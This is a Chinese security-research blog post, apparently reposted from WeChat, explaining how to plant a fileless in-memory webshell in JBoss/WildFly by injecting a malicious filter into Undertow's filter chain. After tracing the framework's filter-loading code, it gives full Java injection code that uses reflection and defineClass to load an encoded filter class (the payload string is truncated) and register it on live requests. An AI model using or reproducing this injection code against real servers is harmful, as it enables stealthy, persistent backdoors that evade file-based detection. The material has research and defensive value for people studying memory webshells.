JBOSS 无文件 webshell 的技术研究

作者：宽字节安全
原文链接：https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw
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前几篇文章主要研究了tomcat，weblogic的无文件webshell。这篇文章则重点研究jboss的无文件webhsell。下面分享一下思路,以下分析基于 jboss 社区版 wildfly-20.0.0.Final版本。

0x01 wildfly 加载Filter分析

在Filter处随便打一个断点，如图，观察堆栈

jboss比较简单，处理Filter的代码如下所示

io.undertow.servlet.handlers.FilterHandler#handleRequest

public void handleRequest(HttpServerExchange exchange) throws Exception {
    ServletRequestContext servletRequestContext = (ServletRequestContext)exchange.getAttachment(ServletRequestContext.ATTACHMENT_KEY);
    ServletRequest request = servletRequestContext.getServletRequest();
    ServletResponse response = servletRequestContext.getServletResponse();
    DispatcherType dispatcher = servletRequestContext.getDispatcherType();
    Boolean supported = (Boolean)this.asyncSupported.get(dispatcher);
    if (supported != null && !supported) {
        servletRequestContext.setAsyncSupported(false);
    }


    List<ManagedFilter> filters = (List)this.filters.get(dispatcher);
    if (filters == null) {
        this.next.handleRequest(exchange);
    } else {
        FilterHandler.FilterChainImpl filterChain = new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
        filterChain.doFilter(request, response);
    }
}

FilterHandler的handleRequest方法中，获取filter去创建filter。并创建FilterChainImpl。我们继续向上分析哪些函数调用了hadleRequest。在io.undertow.servlet.handlers.ServletChain#ServletChain方法中，会执行forceInit方法，forceInit方法的代码如下

io.undertow.servlet.handlers.ServletChain#forceInit
            List<ManagedFilter> list = filters.get(dispatcherType);
            if(list != null && !list.isEmpty()) {
                for(int i = 0; i < list.size(); ++i) {
                    ManagedFilter filter = list.get(i);
                    filter.forceInit();
                }
            }

跟入ManagedFilter的forceInit方法，forceInit方法主要作用是调用ManagedFilter的createFilter方法，去初始化一个Filter。代码如下

    public void createFilter() throws ServletException {
        synchronized (this) {
            if (filter == null) {
                try {
                    handle = filterInfo.getInstanceFactory().createInstance();
                } catch (Exception e) {
                    throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(filterInfo.getName(), e);
                }
                Filter filter = handle.getInstance();
                new LifecyleInterceptorInvocation(servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), filterInfo, filter, new FilterConfigImpl(filterInfo, servletContext)).proceed();
                this.filter = filter;
            }
        }
    }

我们可以看出，在该函数中，如果检测到Filter没有注册，则通过LifecyleInterceptorInvocation去初始化一个Filter，并添加到FilterHandler的Filter中。

0x02 实现

1. 获取ServletChain

在ServletRequestContext中，我们可以发现如下方法

    /**
     * Gets the current threads {@link ServletRequestContext} if set, otherwise null.
     *
     * @return The current {@link ServletRequestContext} based on the calling thread, or null if unavailable
     */
    public static ServletRequestContext current() {
        SecurityManager sm = System.getSecurityManager();
        if(sm != null) {
            sm.checkPermission(GET_CURRENT_REQUEST);
        }
        return CURRENT.get();
    }

通过ServletRequestContext.current这个静态方法，可以获取当前的ServletRequestContext对象。ServletRequestContext对象中，恰好存放我们需要的ServerChain对象。

2. 反射获取ServletChain的filter

filter的类型为EnumMap，key为REQUEST，value为数组，依次存放需要调用的Filter。可以通过反射调用，代码如下

    Field filtersF = servletChain.getClass().getDeclaredField("filters");
    filtersF.setAccessible(true);
    java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

3. 创建ManagedFilter

ServletChain的filter中，数组中的类型为ManagedFilter。ManagedFilter的构造参数中，需要两个参数，分别为FilterInfo与servletContext。这两个参数构造方法如下

3.1 FilterInfo

FilterInfo中，并不需要Class.forName，通过名称去加载Filter类。相反，只需要在参数中提供Filter的Class即可，相关代码如下

    public FilterInfo(final String name, final Class<? extends Filter> filterClass) {
        try {
            final Constructor<Filter> ctor = (Constructor<Filter>) filterClass.getDeclaredConstructor();
            ctor.setAccessible(true);
            this.instanceFactory = new ConstructorInstanceFactory<>(ctor);
            this.name = name;
            this.filterClass = filterClass;
        } catch (NoSuchMethodException e) {
            throw UndertowServletMessages.MESSAGES.componentMustHaveDefaultConstructor("Filter", filterClass);
        }
    }

3.2 servletContext

servletContext与Context不是一个类型。但是可以从Context中获取servletContext对象。

完整代码如下

    Method currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current");
    Object curContext = currentM.invoke(null);

    Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet");
    Object servletChain = getCurrentServletM.invoke(curContext);

    Field filtersF = servletChain.getClass().getDeclaredField("filters");
    filtersF.setAccessible(true);
    java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

    String evilFilterClassName = "testFilter1";
    Class evilFilterClass = null;

    try {
        evilFilterClass = Class.forName(evilFilterClassName);
    } catch (ClassNotFoundException e) {
        BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
        String codeClass = "H4sIAAAAAAAA...";
        Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defineClassM.setAccessible(true);
        evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
    }

    ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST);
    Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("UnicodeSec", evilFilterClass);

    Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest");
    servletRequestF.setAccessible(true);
    Object obj = servletRequestF.get(curContext);

    Field servletContextF = obj.getClass().getDeclaredField("servletContext");
    servletContextF.setAccessible(true);
    Object servletContext = servletContextF.get(obj);

    Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext);

    filterList.add(evilManagedFilter);